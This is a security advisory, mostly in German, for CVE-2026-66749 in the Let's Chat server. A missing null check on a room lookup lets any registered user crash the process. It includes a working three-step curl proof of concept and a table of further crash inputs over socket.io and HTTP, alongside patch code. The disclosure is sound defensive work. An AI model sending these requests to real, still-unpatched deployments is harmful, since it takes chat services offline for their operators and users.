
Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)
Zugewiesene CVE-ID: CVE-2026-66749
Eine einzelne HTTP-Anfrage von einem beliebigen angemeldeten Konto beendet den Prozess des Let's-Chat-Servers.
GET /messages nimmt einen room-Parameter, sucht den Raum anhand der ID und ruft dann eine Methode für das Ergebnis auf, ohne zu prüfen, ob die Suche etwas zurückgegeben hat. Sendet man eine ID, die eine gültige 24 Zeichen lange Hex-Zeichenkette ist, aber zu keinem Raum gehört, wird der resultierende TypeError innerhalb eines Mongoose-Callbacks ausgelöst. Express fängt nur Ausnahmen ab, die synchron innerhalb eines Handlers ausgelöst werden, daher erreicht diese Node als nicht abgefangene Ausnahme und der Prozess wird beendet.
Repo-URL: https://github.com/sdelements/lets-chat
Verwundbar von 0.4.0 (Commit 84981a6, 21. Feb. 2015, der den canJoin-Aufruf einführte) bis einschließlich 0.4.8, dem letzten Release. Es existiert keine behobene Version.
Bestätigt auf 0.4.8 bei Commit 617207f und auf docker.io/sdelements/lets-chat:latest (0.4.7), das weiterhin öffentlich abrufbar ist.
CWE-476: NULL-Pointer-Dereferenzierung, die zu CWE-248 Uncaught Exception und CWE-400 Unkontrollierter Ressourcenverbrauch führt.
CVSS-4.0-Basisscore 7.1 (Hoch)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Der Angreifer benötigt ein gewöhnliches Benutzerkonto und Netzwerkzugriff auf den HTTP-Port. Er muss weder einen Raum besitzen noch Mitglied eines Raums sein, noch eine existierende Raum-ID kennen, noch eine erhöhte Rolle innehaben.
Die Kontenanforderung ist bei einer Standardinstallation schwach, da auth.local.enableRegistration in defaults.yml standardmäßig auf true gesetzt ist. Jeder, der die Anmeldeseite erreichen kann, kann also ein Konto erstellen und anschließend die Anfrage ausführen.
Weder die Procfile (web: npm start) noch docker/docker-compose.yml konfigurieren einen Supervisor oder eine Neustartrichtlinie. Bei einer Standardbereitstellung bringt daher eine einzige Anfrage den Dienst zu Fall, bis ein Betreiber ihn neu startet. Falls ein Betreiber eine Prozessüberwachung hinzugefügt hat, kann der Angreifer die Anfrage einfach wiederholen.
Die Route registriert keine Raumvalidierungs-Middleware. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Vergleichen Sie app/controllers/messages.js:34-41, wo die raumbezogene Variante sehr wohl middlewares.roomRoute hinzufügt, die den Raum auflöst und 404 zurückgibt, wenn er nicht existiert:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
Auf /messages erreicht der room-Wert den Manager also ohne Validierung.
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById ruft den Callback mit (null, null) auf, wenn die ID sauber konvertiert wird, aber mit keinem Dokument übereinstimmt. Es gibt keine if (!room)-Sicherung, daher dereferenziert Zeile 129 null.
Beobachtete Ausgabe:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Bei einer Standardinstallation auf Port 5000, ohne Konfigurationsänderungen:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
Schritt 3 gibt keinen Antworttext zurück und curl beendet sich mit Code 52 (leere Antwort vom Server). Der Serverprozess ist beendet. Jede ID, die aus 24 Hex-Zeichen besteht und zu keinem Raum passt, funktioniert.
express.oi registriert jeden app.io.route(...)-Schlüssel als einfachen socket.on(...)-Handler (initRoutes in node_modules/express.oi/lib/index.js). Ein authentifizierter socket.io-Client kann diese Handler daher direkt aufrufen, wodurch die Express-Middleware-Kette einschließlich roomRoute übersprungen wird. Zudem entfernt es den try/catch von Express, sodass ein synchron ausgelöster Fehler, der über HTTP ein 500 wäre, den Prozess über socket.io beendet.
Jeder der folgenden Punkte beendet ebenfalls den Prozess. Alle wurden bestätigt.
Sichern Sie die Lookups ab. In app/core/messages.js:118 und app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 benötigt dieselbe Behandlung, bevor sanitizeRoom aufgerufen wird, und app/core/rooms.js:248 sollte eine fehlende oder nicht als Zeichenkette vorliegende options.identifier ablehnen.
Zwei Änderungen würden die gesamte Fehlerklasse schließen, nicht nur diese Instanzen. Erstens: Die Abfrageparameter, von denen angenommen wird, dass sie Zeichenketten sind (expand, room, id, take, skip), an der Controller-Grenze konvertieren und validieren. Zweitens: Den socket.io-Handler-Dispatch in einen try/catch-Block kapseln und einen process.on('uncaughtException')-Handler anhängen, sodass eine einzelne fehlerhafte Anfrage zu einer Fehlerantwort herabgestuft wird, anstatt den Server zu stoppen.
| Erreichbar über | Eingabe | Auslösestelle |
|---|
| HTTP und socket.io | messages:list, room auf eine nicht existierende ID gesetzt | app/core/messages.js:129 |
| HTTP und socket.io | files:list, room auf eine nicht existierende ID gesetzt | app/core/files.js:167 |
| socket.io | rooms:get mit einer nicht existierenden ID oder ohne ID | app/core/rooms.js:213 über :234 |
| socket.io | rooms:users ohne Raum | app/core/rooms.js:248 |
| socket.io | rooms:join ohne ID | app/core/rooms.js:248 |
| socket.io | messages:list mit expand als Array | app/core/messages.js:97 |
| socket.io | files:list mit expand als Array | app/core/files.js:139 |
| socket.io | users:get mit id als Objekt | app/models/user.js:139 |